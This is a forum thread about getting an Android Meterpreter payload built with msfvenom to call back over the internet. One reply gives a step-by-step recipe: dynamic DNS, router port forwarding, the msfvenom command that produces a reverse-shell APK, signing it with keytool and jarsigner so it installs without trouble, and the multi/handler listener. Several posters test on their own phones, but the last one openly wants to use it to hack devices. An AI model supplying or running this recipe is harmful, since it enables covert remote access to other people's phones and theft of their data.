Results 1 to 6 of 6

Thread: Meterpreter session on android using msfvenom on WAN

  1. #1
    Join Date
    2016-Apr
    Posts
    1

    Meterpreter session on android using msfvenom on WAN

    Hello,

    So as the title says, I'm trying to create a meterpreter session with my android phone on the WAN but i haven't had any luck.

    this is what i did.
    I portforwarded the port 4444 on my router. (You can see my setting in the attachment).

    Screenshot from 2016-04-10 21-22-12.png

    Then i create a ..apk payload using msfvenom
    these are the commands i used

    msfvenom -p android/meterpreter/reverse_tcp LHOST= {MY PUBLIC IP} LPORT=4444 R > /root/Desktop/payload.apk

    then i installed the apk on my phone
    i start the meterpreter

    msfconsole
    use exploit/multi/handler
    set payload android/meterpreter/reverse_tcp
    set lhost {my local ip}
    set lport 4444
    exploit

    and then i run the payload on my phone but i can't establish a connection.
    This works on my local network but i want to enable it on WAN.

    Help would be appreciated.

    Thanks

  2. #2
    Join Date
    2013-Mar
    Location
    milano
    Posts
    301
    hi
    in your HANDLER the lhost is the result of(ifconfig in terminal)?
    i'm testing now & worked fine here
    -attacker is kali vm (bridged-mode-eth0)192.168.1.7(or localhost) >> and my port 4444 is forwarded to return sessions ON 192.168.1.7
    -the android_payload is made on EXTERNAL ip or MY_noip(today 80.xx.xxx.192)
    -victim is on 3g/H+ 5.xx.xxx.191
    https://beta.postimg.org/image/hckjs5lep/
    I'm a g0at

  3. #3
    Join Date
    2016-Aug
    Posts
    1
    i want to do the same thing i totaly get your problem i havent tested it out yet but i asumed it be more than just putting my external ip in there and my port number, since putting my external ip in there wil only send it to my router i just asumed that it will stil have no idear it has to go to my computer ?

    did you manage to solve this ? what was the solution ?

    i tried it i made payload on port 8080 wich i forwarded put my external ip in the payload

    started apache2 service

    than i tried my internal ip in msfconsole and it didnt work
    i tried my external ip in msf console and it didnt work either

    what exactly am i doing wrong ?
    Last edited by maiki; 2016-08-02 at 10:21. Reason: Merge posts

  4. #4
    Join Date
    2016-Aug
    Posts
    5

    Lightbulb do this ..

    first of all you need to tell what is your public ip is ...

    simply write this command in your console

    Code:
    curl ipecho.net/plain; echo
    after you know what is your public IP ... you are either have a static public IP which is very rare or you are behind a NAT and your public IP is changes every since and a while ..

    then you have to go to website like www.no-ip.com and make a free account there and make new hostname add your current public IP in it ..
    let us say you made your host name look like "test999.ddns.net"

    you will have to update this hostname either by a client or by your self every time your router reboot ..

    the second thing if you are behind a NAT is by which port you will let the reverse_tcp connecting to you
    most ISP arround the world prevent 8080 443 most HTTP protocols

    open the admin page in your router and choose WAN / Virtual server .. it's depends on your router it maybe called another thing

    from there enter the :
    service name : anything you want you may type : HTTP Server
    port range : [ choose any port ] let's us say for example [9644]
    local IP : your local ip that the router will forward this packets throught this port to .. let us say [192.168.1.5]
    local port : use the port you entered in the "port range"
    click add or save ... [ make sure you add two different ports ] you will need more than one

    now to make sure your router opened this port .
    let's do this :
    open new terminal and type :
    Code:
     nano /etc/apache2/ports.conf
    no under the first tree commented line type : Listen 9644 [the port we added in your router ]
    then type CTRL+X and choose the choose yes for saving the file ..
    now type in terminal :
    Code:
    service apache2 start
    now we have apache2 server running let us make sure our port is forwarding and can be seeing from the public ...
    open canyouseeme website in your browser and enter your ip and the port we already used in .ports.conf for apaches
    it should reply with "Success: I can see your service on "
    if everything working fine for you till now then you can make Reverce_tcp without any problem ...

    type in terminal :
    Code:
    msfvenom -p android/meterpreter/reverse_tcp LHOST=test999.ddns.net LPORT=[type here the second port we added in your router since we used the first one for apaches] -o test.apk
    after you have created your .apk file.. you will need to sign this file to be installed without problems ..
    in order to sign your file you need your own keys to sign with ..
    type in terminal this command :
    Code:
    keytool -genkey -v -keystore my-release-key.keystore -alias alias_name -keyalg RSA -keysize 2048 -validity 10000
    choose any name for -keystore [yourname]
    choose any name you like for -alias [your_name]
    follow the terminal questions and set passwords for keystore and your alias and remember them ...

    and type in terminal :
    Code:
    jarsigner -verbose -sigalg SHA1withRSA -digestalg SHA1 -keystore my-release-key.keystore /root/test.apk alias_name
    you have to change in the previous command -keystore [the name you used with keytool command]
    and also change "alias_name" with the name you created in keytool command ...

    now you have signed .apk file with reverse_tcp payload in it ..

    open the terminal and type the following :
    Code:
    msfconsole
    Code:
    use multi/handler
    Code:
    set payload android/meterpreter/reverse_tcp
    Code:
    set LHOST [your local ip for ex :192.168.1.5]
    Code:
    set LPORT [the second port we added in your router and we used in your payload]
    Code:
    exploit
    install the .apk file in your phone and choose open after the installation completed ..

    it should work without any problem ..

  5. #5
    Join Date
    2016-Mar
    Posts
    2
    Quote Originally Posted by riyoua View Post
    first of all you need to tell what is your public ip is ...

    simply write this command in your console

    Code:
    curl ipecho.net/plain; echo
    after you know what is your public IP ... you are either have a static public IP which is very rare or you are behind a NAT and your public IP is changes every since and a while ..

    then you have to go to website like www.no-ip.com and make a free account there and make new hostname add your current public IP in it ..
    let us say you made your host name look like "test999.ddns.net"

    you will have to update this hostname either by a client or by your self every time your router reboot ..

    the second thing if you are behind a NAT is by which port you will let the reverse_tcp connecting to you
    most ISP arround the world prevent 8080 443 most HTTP protocols

    open the admin page in your router and choose WAN / Virtual server .. it's depends on your router it maybe called another thing

    from there enter the :
    service name : anything you want you may type : HTTP Server
    port range : [ choose any port ] let's us say for example [9644]
    local IP : your local ip that the router will forward this packets throught this port to .. let us say [192.168.1.5]
    local port : use the port you entered in the "port range"
    click add or save ... [ make sure you add two different ports ] you will need more than one

    now to make sure your router opened this port .
    let's do this :
    open new terminal and type :
    Code:
     nano /etc/apache2/ports.conf
    no under the first tree commented line type : Listen 9644 [the port we added in your router ]
    then type CTRL+X and choose the choose yes for saving the file ..
    now type in terminal :
    Code:
    service apache2 start
    now we have apache2 server running let us make sure our port is forwarding and can be seeing from the public ...
    open canyouseeme website in your browser and enter your ip and the port we already used in .ports.conf for apaches
    it should reply with "Success: I can see your service on "
    if everything working fine for you till now then you can make Reverce_tcp without any problem ...

    type in terminal :
    [CODE]
    msfvenom -p android
    The port used in Apache2 is open in online port checker but that used in payload is not getting opened.

    Any helps?

  6. #6
    Join Date
    2017-Jun
    Posts
    1
    1.jpg2.jpg3.jpgpublic ip.jpg

    Please help I want to make and msfvenom to hack on WAN
    I can create the payload with no problem but I don’t know which ip to use and to properly forward them with my router
    Which ip for payload LHOST
    Which ip for handler LHOST
    Which ip to set forward with port 2213/6666 in my router
    I have made for much intent but no results, I get the app on my phone, open msfconsole handlers and everything, then I open the app on the phone but nothing happens, and I guest it because I put wrong ip and wrong port forwarding

    Please guys

Similar Threads

  1. Meterpreter-session-1-closed.-Reason-Died P #1
    By SeyedYasin in forum TroubleShooting Archive
    Replies: 1
    Last Post: 2022-08-16, 23:14

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •